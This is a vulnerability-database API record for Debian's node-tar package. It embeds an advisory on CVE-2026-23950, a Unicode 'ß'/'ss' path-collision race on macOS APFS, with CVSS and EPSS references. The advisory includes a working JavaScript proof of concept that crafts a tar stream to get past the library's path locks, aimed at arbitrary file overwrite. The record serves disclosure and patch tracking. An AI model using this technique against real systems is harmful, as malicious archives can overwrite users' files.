Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/932658?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/932658?format=api", "purl": "pkg:deb/debian/node-tar@6.2.1%2Bds1%2B~cs6.1.13-7?distro=trixie", "type": "deb", "namespace": "debian", "name": "node-tar", "version": "6.2.1+ds1+~cs6.1.13-7", "qualifiers": { "distro": "trixie" }, "subpath": "", "is_vulnerable": false, "next_non_vulnerable_version": "6.2.1+ds1+~cs6.1.13-8", "latest_non_vulnerable_version": "6.2.1+ds1+~cs6.1.13-10", "affected_by_vulnerabilities": [], "fixing_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/20500?format=api", "vulnerability_id": "VCID-5wr3-7131-u3aa", "summary": "Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS\n**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS\n\n**AUTHOR**: Tomás Illuminati\n\n### Details\n\nA race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.\n\n```typescript\n// node-tar/src/path-reservations.ts (Lines 53-62)\nreserve(paths: string[], fn: Handler) {\n paths =\n isWindows ?\n ['win32 parallelization disabled']\n : paths.map(p => {\n return stripTrailingSlashes(\n join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS\n ).toLowerCase()\n })\n\n```\n\nIn MacOS the ```join(normalizeUnicode(p)), ``` FS confuses ß with ss, but this code does not. For example:\n\n``````bash\nbash-3.2$ printf \"CONTENT_SS\\n\" > collision_test_ss\nbash-3.2$ ls\ncollision_test_ss\nbash-3.2$ printf \"CONTENT_ESSZETT\\n\" > collision_test_ß\nbash-3.2$ ls -la\ntotal 8\ndrwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .\ndrwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..\n-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss\nbash-3.2$ \n``````\n\n---\n\n### PoC\n\n``````javascript\nconst tar = require('tar');\nconst fs = require('fs');\nconst path = require('path');\nconst { PassThrough } = require('stream');\n\nconst exploitDir = path.resolve('race_exploit_dir');\nif (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });\nfs.mkdirSync(exploitDir);\n\nconsole.log('[*] Testing...');\nconsole.log(`[*] Extraction target: ${exploitDir}`);\n\n// Construct stream\nconst stream = new PassThrough();\n\nconst contentA = 'A'.repeat(1000);\nconst contentB = 'B'.repeat(1000);\n\n// Key 1: \"f_ss\"\nconst header1 = new tar.Header({\n path: 'collision_ss',\n mode: 0o644,\n size: contentA.length,\n});\nheader1.encode();\n\n// Key 2: \"f_ß\"\nconst header2 = new tar.Header({\n path: 'collision_ß',\n mode: 0o644,\n size: contentB.length,\n});\nheader2.encode();\n\n// Write to stream\nstream.write(header1.block);\nstream.write(contentA);\nstream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding\n\nstream.write(header2.block);\nstream.write(contentB);\nstream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding\n\n// End\nstream.write(Buffer.alloc(1024));\nstream.end();\n\n// Extract\nconst extract = new tar.Unpack({\n cwd: exploitDir,\n // Ensure jobs is high enough to allow parallel processing if locks fail\n jobs: 8 \n});\n\nstream.pipe(extract);\n\nextract.on('end', () => {\n console.log('[*] Extraction complete');\n\n // Check what exists\n const files = fs.readdirSync(exploitDir);\n console.log('[*] Files in exploit dir:', files);\n files.forEach(f => {\n const p = path.join(exploitDir, f);\n const stat = fs.statSync(p);\n const content = fs.readFileSync(p, 'utf8');\n console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);\n });\n\n if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {\n console.log('\\[*] GOOD');\n } else {\n console.log('[-] No collision');\n }\n});\n\n``````\n\n---\n\n### Impact\nThis is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.\n\n---\n\n### Remediation\n\nUpdate `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`.\n\nUsers who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\n\n---", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23950.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23950.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-23950", "reference_id": "", "reference_type": "", "scores": [ { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00689", "published_at": "2026-04-26T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00687", "published_at": "2026-04-24T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00686", "published_at": "2026-04-21T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00645", "published_at": "2026-04-18T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.0064", "published_at": "2026-04-16T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00648", "published_at": "2026-04-13T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00662", "published_at": "2026-04-07T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.0066", "published_at": "2026-04-04T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00661", "published_at": "2026-04-08T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00647", "published_at": "2026-04-12T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00667", "published_at": "2026-04-02T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00653", "published_at": "2026-04-11T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00654", "published_at": "2026-04-09T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-23950" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23950", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23950" }, { "reference_url": "https://github.com/isaacs/node-tar", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/isaacs/node-tar" }, { "reference_url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-21T20:15:29Z/" } ], "url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6" }, { "reference_url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-21T20:15:29Z/" } ], "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431036", "reference_id": "2431036", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431036" }, { "reference_url": "https://github.com/advisories/GHSA-r6q2-hw4h-h46w", "reference_id": "GHSA-r6q2-hw4h-h46w", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-r6q2-hw4h-h46w" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2144", "reference_id": "RHSA-2026:2144", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2144" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2926", "reference_id": "RHSA-2026:2926", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2926" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6192", "reference_id": "RHSA-2026:6192", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6192" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/932658?format=api", "purl": "pkg:deb/debian/node-tar@6.2.1%2Bds1%2B~cs6.1.13-7?distro=trixie", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-tar@6.2.1%252Bds1%252B~cs6.1.13-7%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/932649?format=api", "purl": "pkg:deb/debian/node-tar@6.2.1%2Bds1%2B~cs6.1.13-10?distro=trixie", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-tar@6.2.1%252Bds1%252B~cs6.1.13-10%3Fdistro=trixie" } ], "aliases": [ "CVE-2026-23950", "GHSA-r6q2-hw4h-h46w" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-5wr3-7131-u3aa" } ], "risk_score": null, "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-tar@6.2.1%252Bds1%252B~cs6.1.13-7%3Fdistro=trixie" }